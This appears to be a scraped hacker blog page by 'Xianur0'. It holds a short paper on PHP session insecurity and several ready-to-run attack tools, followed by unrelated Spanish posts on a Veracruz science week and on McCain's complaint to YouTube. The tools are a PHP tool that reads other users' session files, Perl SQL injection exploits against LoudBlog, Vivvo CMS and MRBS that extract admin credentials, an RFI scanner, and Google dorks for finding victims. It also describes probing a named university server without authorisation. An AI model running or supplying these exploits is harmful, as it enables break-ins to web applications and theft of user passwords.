[Paper] Insecurity in PHP sessions By Xianur0

The sessions as its name says are user sessions (contain any information or ID of the user). The sessions being used on a shared server can be very serious security flaws, namely those sessions can be used for certain kinds of attacks, including a data mining (search for useful information) for example, if we go to the temporary directory used by PHP to store sessions (almost always is / tmp /) you can find sessions like this:


where is the user name of the first session, 5 is the id and admin is the content, with the same password (second session).

Now we already have a username and a password.

Also, many developers overlook the possibility of Injection data sessions as the example below:

Vulnerable code (PHPNews 1.3):

if((isset($_POST['user']) && isset($_POST['password'])) || (isset($_SESSION['user']) && isset($_SESSION['password'])))
if(isset($_SESSION['user']) && isset($_SESSION['password']))
$in_user = $_SESSION['user'];
$in_password = $_SESSION['password'];
else if(isset($_POST['user']) && isset($_POST['password']))
if (!get_magic_quotes_gpc())
$in_user = addslashes($_POST['user']);
$in_password = addslashes($_POST['password']);
$in_user = $_POST['user'];
$in_password = $_POST['password'];

$result = mysql_query('SELECT * FROM ' . $db_prefix . 'posters WHERE username = \'' . $in_user . '\' AND password = password(\'' . $in_password . '\')');
if(mysql_numrows($result) != 0)
$auth = true;
$_SESSION['user'] = $in_user;
$_SESSION['password'] = $in_password;
$bad_details = true;

Exploit Bypass through sessions:

$_SESSION["user"] = "' OR '1'='1";
$_SESSION["password"] = "') OR ('1'='1";
print "Cookie Master: <br>\nPHPSESSID=".$_COOKIE['PHPSESSID']."<br>\n";

the sessions are not filtered, therefore you can set up these sessions and Injection data, the exploit to schedule (above) only works if the php is using the same route of the sessions that PHPNews.

Although the safemode and this can not be bypassed directories, almost always used the same route on a temporary server for everything. So the sessions can be generated without regard to the security mechanisms that are used (enjoyable clear change the temporary directory to a free reading by another user on the same server and is completely filtering the sessions).

But can be read by the sessions that are held as temporary files and directories that time spent almost always reading for all users of that server.

You can also obtain the content of the sessions when you can not read the files directly:

foreach ($_SESSION as $name => $valor)
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";

PHP opens the temporary directory of sessions with the call to the global variable $_SESSION (that is not filtered in safemode), so we give the value of the sessions (the code that travels the HTTP is only a reference to the file session on the server) whatever the domain (you can specify the directory of sessions with the function session_save_path()).

I wrote a tool to automate this process:


Session Master By Xianur0

Posted on 16:55 by Xianur0

<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>

function buscar() {
$tmp = @session_save_path();
print "<b>Directory of sessions: $tmp\n</b><br>";
$dir = @opendir($tmp);
while ($session = @readdir($dir))
if(eregi("sess_",$session)) {
$gestor = @fopen("$tmp/$session", "r");
$contenido = @fread($gestor, filesize("$tmp/$session"));
$contenido = @eregi_replace(';', ";\n<br><br>Session: ", $contenido);
echo "<br>".$session."<br>\n";
echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span class="posthidden" id="'.$i.'">
<br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';
function definir() {
$name = $_POST['name'];
$contenido = $_POST['valor'];
$_SESSION[$name] = $contenido;

function definidos() {
foreach ($_SESSION as $name => $valor)
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";

function menu() {
print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";

$action = $_GET['action'];

switch ($action) {
case buscar:
case definir:
case definidos:


LoudBlog SQL Injection Exploit All Versions

Posted on 14:30 by Xianur0

This Exploit requires a valid user name and password of an account regardless of the permissions

Author: Xianur0
Affected: All Versions
Bug: SQL Injection

allintext: "powered by LoudBlog"



use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use Digest::MD5 qw(md5_hex);
$ua = LWP::UserAgent->new;

print "\n LoudBlog Exploit All Version By Xianur0\n\n";
$uri = $ARGV[0];
$id = $ARGV[1];
$password = $ARGV[3] || die("\nUse: loudblog.pl [URI] [ID Admin] [Valid User] [Valid Password]\n");
$md5 = md5_hex($ARGV[2]).":".md5_hex($password);

my $req = POST $uri.'/loudblog/ajax.php',
[ colpick => "concat(0x557365723a20,nickname,0x0d0a50617373776f72643a20,password)", rowpick => "id", rowval => $id, table => 'authors', action => 'singleread'];
$req->header('User-Agent' => 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20080829 Firefox/');
$req->header('Cookie' => 'lbauth='.$md5);
$res = $ua->request($req);
print $res->content."\n";


//which row do we manipulate?
$rowpick = "";
if (isset($p['rowpick'])) $rowpick = $p['rowpick'];
$rowval = "";
if (isset($p['rowval'])) $rowval = $p['rowval'];

//which column do we manipulate or read?
$colpick = "";
if (isset($p['colpick'])) $colpick = $p['colpick'];
$colval = "";
if (isset($p['colval'])) $colval = $p['colval'];
if (isset($p['makehtml'])) $colval = makehtml($p['colval']);

// do the request action!!

if ($p['action'] == "singleread") {
$dosql = "SELECT ".$colpick." FROM ". $table." WHERE ".$rowpick." = '".$rowval."'";
$return = $GLOBALS['lbdata']->GetArray($dosql);
echo $return[0][$colpick];

Princeton Blind SQL Injection

Posted on 18:01 by Xianur0

Reporte el bug al admin, y le prometí que no lo diría hasta haberlo corregido:


(metan en google la búsqueda: astro.princeton.edu/mrbs
y verán que CMs usaba jejeje)


Good evening, my nickname is Xianur0, I write about and reported security flaws in its system, to begin a Blind SQL Injection (do not authorized to consult your SQL system (MySQL)) for example:


By making a SQL incorrect table stays empty rooms or with a single element, to be correct these consultations, the table shows all the rooms.

Sorting the results in ASCII:

and translate them into a readable string, we get:

Which is the user of MySQL used by the system, now we made another inquiry to identify which tables are permitted for that user in MySQL:
http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1 AND (SELECT count (*) FROM INFORMATION_SCHEMA.TABLES)
There database: INFORMATION_SCHEMA and table: tables, this database contains information on the MySQL (for example: tables, columns, etc.), we now how many databases that are in mysql:

http://calendar.astro.princeton.edu/mrbs/month.php?year=2008&month=08&area=1 AND (SELECT count (TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES) = 20

This means that there are 20 databases recorded in the INFORMATION_SCHEMA, and if we keep the first step (to which we obtained the user can obtain the structure of the system, users obtain and carry out an attack on the system).

Profile: http://milw0rm.com/author/1657
Nick: Xianur0
Web: http://xianur0.blogspot.com
Email: uxmal666@gmail.com

Sorry For My Bad English

bueno el mensaje sirve como ejemplo de Blind SQL Injection manual xD...

jeje hasta los grandes tienen sus malos momentos...


#Vivvo CMS Destroyer
#By Xianur0

print "\n Vivvo CMS Destroyer By Xianur0\n";

$textshell = 'C99Shell v.';
use LWP::UserAgent;
use Switch;
my $path = $ARGV[0];
$path = shift || &uso;
sub uso { print "\nUse: vivvo.pl [URI to Vivvo CMS]\n"; exit;}
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20080829 Firefox/");
$req = HTTP::Request->new(GET => $path."/feed.php?output_type=rss");
$req->header('Accept' => 'text/javascript, text/html, application/xml, text/xml, */*');
$res = $ua->request($req);
if ($res->is_success && $res->content =~ "generator") {
} else {
$req = HTTP::Request->new(GET => $path."/index.php?feed");
$req->header('Accept' => 'text/javascript, text/html, application/xml, text/xml, */*');
$res = $ua->request($req);
if ($res->is_success && $res->content =~ "generator") {
else { print "\nError getting data!\n"; exit;}


sub parser {
my @datos = split('<generator>Vivvo CMS ', $_[0]);
my @version = split('</generator>', $datos[1]);
$version = $version[0];
if($version[0] == "") {
my @datos = split('<meta name="generator" content="Vivvo ', $_[0]);
my @version = split('" />', $datos[1]);
$version = $version[0];
print "Version: ".$version."\n";
if($version < "4") { print "Outdated version of Vivvo CMS!\n"; &desactualizada($version);}

sub backups {
$req = HTTP::Request->new(GET => "$path/backup");
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ "<title>Index of /backup</title>") {
print "\n Backups:\n";
my @datos = split('<a href="', $res->content);
$datos[0] = "";
foreach $archivos (@datos) {
my @archivo = split('">', $archivos);
if($archivo[0] !~ /\?/){print $archivo[0]."\n"; }
print "\nUnprotected Directory: $path/backup\n";

sub rfi {
$vuln = $_[0];
$req = HTTP::Request->new(GET => "$path/$vuln=$SHELL?");
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ $textshell) {
print "RFI Detected!: $path/$vuln=$SHELL?";

sub sql {
$exploit = "pdf_version.php?id=-1%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20FROM%20tblUsers%20where%20userid=1";
$req = HTTP::Request->new(GET => "$path/$exploit");
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
print "SQL Injection Generated: $path$exploit";

sub blind {
for($i=1; $i<32;$i++) {
for($o=30; $o<102;$o++) {
$injection = "$path/index.php?category=/**/AND/**/(ascii(substring((SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/userid=1),".$i.",1))=".$o;
$req = HTTP::Request->new(GET => $injection);
$req->header('Accept' => 'text/xml');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content != "") {
print "Blind Done Correctly!: $injection";

sub desactualizada {
$version = $_[0];
switch ($version) {
case "3.4" { print "Blind SQL Injection trying ....\n"; &blind; print "Intentando RFI....\n"; &rfi('include/db_conn.php?root');}
case "3.2" { print "RFI trying ....\n"; &rfi('index.php?classified_path'); print "SQL Injection....\n"; &sql;}
else { print "There is no registration for this Exploit Version! : (\n";}


"MRBS is a system for multi-site booking of meeting rooms. Rooms are grouped by building/area and shown in a side-by-side view. Although the goal was initially to book rooms, MRBS can also be used to book any resource (computer, planes, whatever you want)".

Web CMS: http://sourceforge.net/projects/mrbs/
Affected: Previous versions of mrbs 1.4
Solution: Update to Version 1.4

"Meeting Room Booking System" "month.php?area="
"Meeting Room Booking System" "day.php?area="
"Meeting Room Booking System" "week.php?area="

Author: Xianur0
Try: http://www.sitio.com/path/month.php?area=1/**/and/**/1=0



#Xianur0 CYS # perl blind.pl http://www.victima/st/schedule/ 'SELECT user()'
#Exploit MRBS By Xianur0
#Please Have Patience, The Blind SQL Injection is running.........

# By Xianur0

use LWP::UserAgent;

%ascii = ("32", " ","32", " ","33", "!","34", '"',"35", "#","36", '$',"37", "%","38", "&","39", "'","40", "(","41", ")","42", "*","43", "+","44", ",","45", "-","46", ".","47", "/","48", "0","49", "1","50", "2","51", "3","52", "4","53", "5","54", "6","55", "7","56", "8","57", "9","58", ":","59", ";","60", "<","61", "+","62", ">","63", "?","64", '@',"65","A","66","B","67","C","68","D","69","E","70","F","71","G","72","H","73","I","74","J","75","K","76","L","77","M","78","N","79","O","80","P","81","Q","82","R","83","S","84","T","85","U","86","V","87","W","88","X","89","Y","90","Z","95","_","97", "a", "98", "b", "99", "c", "100", ,"d","101","e", "102", "f", "103","g", "104", "h", "105","i", "106", "j", "107","k", "108", "l", "109","m", "110", "n", "111","o", "112", "p", "113","q", "114", "r", "115","s", "116", "t", "117","u", "118", "v", "119","w", "120", "x", "121","y", "122", "z");

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv: Gecko/20080829 Firefox/");
$url = $ARGV[0];
$sql = $ARGV[1] || die("Use: blind.pl [Complete URL] [SQL Injection]\nExample: blind.pl http://www.victima.com/mrbs/ 'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES'\n");
print "\nExploit MRBS By Xianur0 \n\nPlease Have Patience, The Blind SQL Injection is running.........\n";
$caracter = 1;
$detector = '<h1>No rooms defined for this area</h1>';
$simbolo = ">";
while($caracter ne "finito") {
$req = HTTP::Request->new(GET => $url.'/month.php?year=2008&month=08&area=1%20AND ascii(substring(('.$sql.'),'.$caracter.',1)) '.$simbolo.' '.$i);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if ($res->is_success) {
if($res->content !~ $detector) {
if($base eq $i) { print "$ascii{$i}"; $caracter++; $i=0; $simbolo = ">";}
$base = $i;
$i = $i+10;
} else { if($i eq 0) { print "\nError Performing Blind (Less Value to 0)!\n"; $caracter = "finito";} else {$i = $i-1; $simbolo = "=";}
} else {
print "\nError detected in HTTP requests: " . $res->status_line . "!\n";

print "\nFinished!\n";


En la Semana Nacional de Ciencia y Tecnología (SNCT), niños y jóvenes conocen las múltiples posibilidades que ofrecen las áreas de la ciencia en los campos de la actividad productiva, la investigación científica y la docencia; su misión es promover la ciencia y proyectarla como pilar fundamental del desarrollo económico, cultural y social de nuestro país. Comparten este propósito las instituciones educativas, asociaciones científicas, secretarías de estado, empresas, centros de investigación, museos de ciencia y gobiernos estatales.

La SNCT se realizará del 20 al 24 de octubre en todo el territorio nacional y se concreta en eventos creativos y propositivos de científicos, maestros, divulgadores y empresarios mediante ciclos de conferencias, talleres, exposiciones, demostraciones, visitas guiadas, concursos y ferias científicas, entre otros.

En el estado de Veracruz coordinan la SNCT el Consejo Veracruzano de Ciencia y Tecnología (Covecyt), la Universidad Veracruzana (UV), el Instituto de Ecología (Inecol), las secretarías de Educación en Veracruz (SEV) y de Educación Pública (SEP), la oficina del Conacyt en el estado, los ayuntamientos de Xalapa, Banderilla y Coatepec, con el apoyo de las autoridades educativas estatales, entre otros.

Actividades en Xalapa

La inauguración será el lunes 20 de octubre a las 18:00 horas en el Palacio Municipal, con el mensaje de bienvenida del alcalde David Velasco Chedraui. Acto seguido, autoridades del Conacyt, Covecyt, UV, SEV, SEP y del Fondo de Cultura Económica (FCE) entregarán reconocimientos a alumnos destacados en eventos científicos nacionales.

Posteriormente, Zaira Domínguez Esquivel, investigadora de la Unidad de Servicios de Apoyo de Resolución Analítica de la UV, dará un mensaje a los asistentes. Se cierra el evento con un concierto de la Orquesta Municipal de Xalapa.

Al día siguiente se inauguran los Espacio de Ciencia y Tecnología en Xalapa, Banderilla y Coatepec.
En Xalapa el Espacio de Ciencia y Tecnología será el Centro Recreativo Xalapeño, del martes 21 al jueves 23 de octubre, en horario de 10:00 a 14:00 y de 17:00 a 20:00 horas, con las siguientes actividades:
El martes se hará la presentación de la convocatoria 2009 “Leamos la Ciencia para Todos” para estudiantes de secundaria, bachillerato y universidad. Durante todo el día habrá charlas de divulgación científica, así como los talleres “Juguemos con la ciencia” y “Manejo de residuos: integrando conocimiento y práctica para el cuidado ambiental”, dirigidos a docentes y padres de familia. Se podrá recorrer la exposición de prototipos tecnológicos de las diferentes instituciones de educación.

El miércoles se ofrecen charlas de divulgación científica impartidas por investigadores de la UV y el Inecol, con temas interesantes como “La basura, un problema o una oportunidad” o “Una aproximación al protométodo (o cómo hacer chilaquiles sin quemarlos)”, con los Camaradas de la Ciencia. Se organizan los talleres “Manejo de residuos: Integrando conocimiento y práctica para el cuidado ambiental” y “Una ruta hacia la lectura de la ciencia” y continúa la exposición de prototipos tecnológicos.

El jueves siguen charlas de divulgación científica como “Robótica Didáctica”; también los talleres “Lectura y creatividad”, “Las ciencias y el ámbito cotidiano” y “Separa, aprende, diviértete y salva al planeta”. La exposición de prototipos tecnológicos, “El Bingo de la Ciencia”, y la obra de teatro La ciencia no es como la pintan… de rojo. La versión del Lobo y la caperucita…roja.

Informes con Adalberto Fox al correo afox@uv.mxEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla , o al teléfono 817-40-57.

Periodismo científico

Martín Bonfil, de la Dirección de Divulgación Científica de la UNAM, ofrecerá del 20 al 22 de octubre, de 10:00 a 14:00 horas, el III Curso de Periodismo Científico, dirigido a los profesionales de los medios de comunicación del estado, en la sala de videoconferencias de la Dirección de Investigaciones de la UV en Xalapa, con transmisión a las salas de videoconferencias de Poza Rica, Coatzacoalcos, Boca del Río y Orizaba. Inscripciones gratuitas al correo covecyt@gmail.comEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla con Heriberto Contreras, o al teléfono 841-36-70.

Espacio de Ciencia y Tecnología en Banderilla

Las actividades serán en “La casa del abuelo” en el centro de Banderilla, del miércoles 22 al viernes 24 de octubre, de 9:00 a 12:00 horas, y se ofrecerán talleres científicos simultáneos como las Olimpiaguas;

¿Está claro?; Hidráulica colonial; Uniéndose; Ramificaciones y Visualizando el agua subterránea. También se hará la proyección de videos, una presentación de prototipos tecnológicos, así como talleres para docentes.

En esta sede se hará la clausura oficial de la SNCT el día viernes con la presentación de las convocatorias a los concursos infantil y juvenil “Imagina la ciencia y la tecnología”. Coordina Gloria Jiménez, al correo jimmoreg@hotmail.comEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

También en Coatepec

En el Palacio Municipal, el lunes 20 de octubre se llevará a cabo el programa de la SNCT, iniciando con un mensaje de Sergio Ramírez Cabañas, presidente municipal, después de la conferencia que ofrecerá Gerardo Mata Montes de Oca, secretario técnico del Inecol. A las 11:00 horas se presentará la obra de teatro Alpha: un pedacito de cielo, y posteriormente se hará un recorrido por la exposición de prototipos del CBTIS 165.

Habrá un concurso de dibujo infantil y la Carrera de la Semana de la Ciencia. Cerrando con música veracruzana con el grupo “Zarambeaque”. Coordina en Coatepec Guadalupe López gplopez@ecologia.edu.mxEsta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla

Simultáneamente en todo Veracruz y el país, las diferentes instituciones educativas, ayuntamientos, empresas y dependencias gubernamentales organizan actividades similares que permitan fomentar entre la población el interés por la ciencia y la tecnología. La invitación es a participar y sumarse a esta labor que beneficia a nuestros niños y jóvenes.

La programación detallada se podrá consultar en la página www.cienciaenveracruz.blogspot.com

Una opinión Persona: Creo que por ahí verán a Xianur0 Haciendo desastre entre la multitud, aunque me párese algo bastante vació....

Se queja McCain con YouTube

Posted on 17:18 by Xianur0

YouTube, el sitio de difusión de videos por internet, rechazó una petición para revisar sus políticas y dejar de remover en forma expedita videos de campaña del republicano John McCain que pudieran infringir leyes de derecho de autor.

Los videos de campaña de McCain han sido removidos con frecuencia por YouTube, tras recibir quejas de que algunos infringen las leyes de derecho de autor al utilizar imágenes y audios de debates de televisión y discos protegidos, sin contar con los permisos para ello.

El asesor legal de la campaña de McCain, Trevor Potter, envió esta semana una carta a los ejecutivos de YouTube y de Google, en la que solicitó una 'completa revisión legal' de las notificaciones de remoción interpuestas contra los vídeos colocados por las campañas políticas.

YouTube está protegido por el Acta Digital del Milenio sobre Derecho de Autor (DMCA, por sus siglas en inglés), de tener responsabilidad por difundir material ilegal, siempre y cuando la compañía actué y lo remueva cuando sea notificada de un video que infringe el derecho de autor.

Aun así, YouTube enfrenta demandas de parte de compañías distribuidoras de discos y videos, de infringir las leyes de derecho de autor.

En la respuesta a la carta de la campaña de McCain, el abogado en jefe de YouTube, Zahavah Levine, explicó la dificultad que tienen jueces y abogados sobre lo que constituye un uso justo de los materiales con derecho de autor.

'Ningún número de abogados puede posiblemente determinar con un nivel razonable de certitud si todos los vídeos de los que recibimos quejas para que sean removidos califican como de uso justo', dijo Levine.

'La DMCA provee una salvaguarda de seguridad estatutaria para proveedores de servicio como YouTube que albergan contenido', explicó.

'Sin esta salvaguarda de seguridad, sitios como YouTube no pudieran existir. El problema real aquí es las entidades e individuos que abusan el proceso de la DMCA', agregó el abogado de la compañía.

McCain, quien se encuentra abajo en las encuestas y ha sido sobrepasado en gastos de publicidad por su contrincante, el demócrata Barack Obama, busca mantenerse vivo y sin menoscabo en el poderoso canal de difusión que significa YouTube.

En la actual contienda electoral en Estados Unidos, YouTube está robando en forma importante audiencias a las cadenas nacionales de televisión, al convertirse en un sitio casi imprescindible para las campañas políticas.

De acuerdo con el Centro de Investigación Pew, un 35 por ciento de los estadunidenses encuestados en la primavera pasada indicaron haber visto vídeos relacionados a las campañas políticas tres veces más que en 2004.